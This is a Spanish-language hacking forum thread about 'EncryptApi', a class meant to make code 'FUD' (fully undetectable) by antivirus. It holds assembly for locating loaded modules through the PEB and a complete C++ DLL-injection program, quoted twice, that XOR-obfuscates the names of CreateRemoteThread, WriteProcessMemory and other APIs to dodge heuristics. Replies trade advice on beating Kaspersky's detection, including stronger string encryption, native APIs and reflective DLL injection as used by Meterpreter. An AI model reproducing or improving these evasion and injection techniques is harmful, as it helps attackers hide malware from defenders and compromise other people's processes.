Autor
|
Tema: Clase EncryptApi (Haz tus códigos indetectables fácilmente) (Leído 31,286 veces)
|
YST
Desconectado
Mensajes: 965
I'm you
|
Es solo la idea para MrScript , sacas el handle de la ADVAPI usas mi función para sacar la posicion de las apisb y encriptas todas las cadenas con alguna macro , teoricamente deberia ser FUD . Un code para sacar el handle include 'win32ax.inc' .code start: stdcall ASCIITOUNICODE,"ADVAPI32.dll",buffer stdcall GetModuleHW,buffer invoke GetModuleFileName,eax,buffer,MAX_PATH invoke MessageBox,0,buffer,0,0 invoke ExitProcess,0 proc GetModuleHW,cName push ebx edi esi .if [cName] = 0 mov eax,dword [fs:18h] mov eax,dword [eax+30h] mov eax,dword [eax+8h] jmp .salir .endif mov eax,[fs:30h] mov eax,[eax+0Ch] mov edi,[eax+10h] mov esi,dword[edi+30h] .siguiente: mov ebx,dword[edi+30h] invoke lstrcmpW,[cName],ebx .if eax <> 0 mov edi,[edi+4h] cmp esi,dword[edi+30h] jne .siguiente jmp .salir .endif mov eax,dword[edi+18h] jmp .salir .error: xor eax,eax .salir: pop edi ebx ret endp proc ASCIITOUNICODE,Cadena,Buffer push ecx ebx mov eax,[Cadena] mov ebx,[Buffer] dec eax dec ebx dec ebx .bucle: add eax,1 cmp byte[eax],0 je .salir inc ebx inc ebx mov cl,byte[eax] mov byte[ebx],cl mov byte[ebx+1],0 jmp .bucle .salir: pop ebx ecx ret endp .data buffer rb MAX_PATH .end start section '.reloc' fixups data discardable
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
topoman
Desconectado
Mensajes: 6
|
Perdon por subir un tema de Junio... He estado haciendo pruebas con el EncryptApi de E0N y el Kapersky 2010 me lo detecta por heurística. ¿Como es posible? Tanto han evolucionado los AVs o se me escapa algo. ¿Como lo pueden detectar, si en realidad no se llama a la función sino que se hace un JMP... ? // crypt.cpp : Defines the entry point for the console application. //
#include "stdafx.h"
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave) { for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave]; }
void EnableDebugPriv( void ) { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp;
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );
CloseHandle( hToken ); }
void main(int argc, char* argv[]) { // Encriptacion de cadenas const char key[] = "df5DF4s"; const int tamKey = 7; char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b, 0x16, 0x3, 0x54, 0x20, 0x46 }; char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16, 0x9, 0x9, 0x47, 0x3d, 0x46 }; char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb, 0x64 }; char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 }; char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 0x1, 0x27, 0x35 }; char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0, 0x64 }; char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 }; char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 }; xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey); xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey); xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey); xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey); xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey); xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey); xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey); xor(strKernel32, key, sizeof(strKernel32)-1, tamKey); EncryptApi<HANDLE> myOpenProcess (strOpenProcess, strKernel32, 5); EncryptApi<HMODULE> myGetModuleHandle (strGetModuleHandleA, strKernel32, 5); EncryptApi<FARPROC> myGetProcAddress (strGetProcAddress, strKernel32, 5); EncryptApi<LPVOID> myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7); EncryptApi<BOOL> myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5); EncryptApi<HANDLE> myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5); EncryptApi<BOOL> myCloseHandle (strCloseHandle, strKernel32, 5);
// get PID if (argc < 2) { printf( "Introduce PID in the first arg.\n"); return ; } int pid = atoi(argv[1]); printf("PID=%d\n" ,pid);
EnableDebugPriv();
// Inyeccion dll HANDLE proceso; LPVOID RemoteString; LPVOID nLoadLibrary; char rutaDll[] = "C:\\HPA\\RK\\testDll.dll";
proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid); nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA"); RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL); myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL); myCloseHandle(1,proceso);
}
|
|
|
En línea
|
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Perdon por subir un tema de Junio... He estado haciendo pruebas con el EncryptApi de E0N y el Kapersky 2010 me lo detecta por heurística. ¿Como es posible? Tanto han evolucionado los AVs o se me escapa algo. ¿Como lo pueden detectar, si en realidad no se llama a la función sino que se hace un JMP... ? // crypt.cpp : Defines the entry point for the console application. //
#include "stdafx.h"
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave) { for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave]; }
void EnableDebugPriv( void ) { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp;
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );
CloseHandle( hToken ); }
void main(int argc, char* argv[]) { // Encriptacion de cadenas const char key[] = "df5DF4s"; const int tamKey = 7; char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b, 0x16, 0x3, 0x54, 0x20, 0x46 }; char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16, 0x9, 0x9, 0x47, 0x3d, 0x46 }; char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb, 0x64 }; char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 }; char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 0x1, 0x27, 0x35 }; char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0, 0x64 }; char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 }; char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 }; xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey); xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey); xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey); xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey); xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey); xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey); xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey); xor(strKernel32, key, sizeof(strKernel32)-1, tamKey); EncryptApi<HANDLE> myOpenProcess (strOpenProcess, strKernel32, 5); EncryptApi<HMODULE> myGetModuleHandle (strGetModuleHandleA, strKernel32, 5); EncryptApi<FARPROC> myGetProcAddress (strGetProcAddress, strKernel32, 5); EncryptApi<LPVOID> myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7); EncryptApi<BOOL> myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5); EncryptApi<HANDLE> myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5); EncryptApi<BOOL> myCloseHandle (strCloseHandle, strKernel32, 5);
// get PID if (argc < 2) { printf( "Introduce PID in the first arg.\n"); return ; } int pid = atoi(argv[1]); printf("PID=%d\n" ,pid);
EnableDebugPriv();
// Inyeccion dll HANDLE proceso; LPVOID RemoteString; LPVOID nLoadLibrary; char rutaDll[] = "C:\\HPA\\RK\\testDll.dll";
proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid); nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA"); RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL); myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL); myCloseHandle(1,proceso);
} Con heurística te refieres a antes de ser ejecutado o durante la ejecución? Si es lo primero, fíjate que estás cifrando los nombres con un XOR, posiblemente necesites una cifrado un poco más fuerte para saltartelo. Tambien el código puede ser detectado por mil cosas, no necesariamente por usar esas API's, asegurate de que si las quitas del código deja de ser detectado. cifrando los nombres de las Apis y cargándolas dinámicamente con ésta clase no debería de darte problemas . Saludos
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
topoman
Desconectado
Mensajes: 6
|
Lo primero, gracias por contestar.. Me lo detecta por heurística el Kapersky 2010 y es en el momento de ejecucion (no antes). Lo he ejecutado "paso a paso", añadiendo un scanf_s() antes de cada función. Me salta siempre en la llamada a CreateRemoteThread, como parece lo razonable: // ESTA ES LA FUNCION DONDE SALTA EL KAPERSKY myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
Efectivamente cifro las cadenas con un XOR, y lo unico que he hecho es volver a encriptarlas utilizando un passwd distinto y mas largo. Pero como salta justo en el salto a CreateRemoteThread me da que apunta a que no son las cadenas lo que detecta. Me queda por probar a "cifrar" mas bytes de la funcion, copiar alguna instruccion mas antes del salto... No se me ocurren mas cosas. La verdad que me ha sorprendido que el AV lo detectara. No me lo canta como malware conocido, pero si indica " Suspicious activity" y " Potencial dangerous program: Invader". Cualquier cosa que se os ocurra me decis... gracias de nuevo.
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Sobre que proceso estas inyectando codigo?
Es normal que el KAV salte... estas inyectando code... Prueba a usar la funcion Nativa... aunque de todas formas creo que lo detectara...
|
|
|
En línea
|
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Si, si es en tiempo de ejecución es normal que salte, el KAV hookea las API's a nivel kernel, aunque llames a un buffer en vez de a la API, se buffer terminará llamando al hook del KAV . Saludos
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
topoman
Desconectado
Mensajes: 6
|
Perdonarme pero ahora si que me he perdido Importa a que proceso inyecte ?? estaba haciendo pruebas con un cmd, un calc y un notepad. En todos los intentos de injection salta el KAV cuando se ejecuta el CreateRemoteThread. Ya sea llamando a la API directamente o mediante EncryptApi de E0N.. (con la función Nativa entiendo que te refieres a la API directamente, no? ) Sobre que es normal que lo detecte el KAV, suponia que precisamente esto servía para evitar precisamente su heuristica, sino es así, perdonarme pero he entendido mal todo el hilo. ¿Qué es EncryptApi?
EncryptApi es una platilla escrita en C++ que vale para cifrar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código. Por ultimo ya que estoy, igual es un poco offtopic: ¿serviría usar el método Reflective injection DLL para que la injection fuera FUD? http://www.harmonysecurity.com/blog/2008/10/new-paper-reflective-dll-injection.html Aun no he estudiado el articulo, es el método utilizado en el metasploit. Las pruebas que he hecho al conseguir sesion de meterpreter, voy migrando de proceso a proceso y aqui el KAV no me lo detecta... pero estos conceptos si que no los tengo claros por lo que puedo estar diciendo una tonteria. No estoy seguro si cuando el meterpreter va migrando de un proceso a otro lo hace mediante DLL injection... (ya sea reflectiva o no). Gracias !!
|
|
|
En línea
|
|
|
|
|
|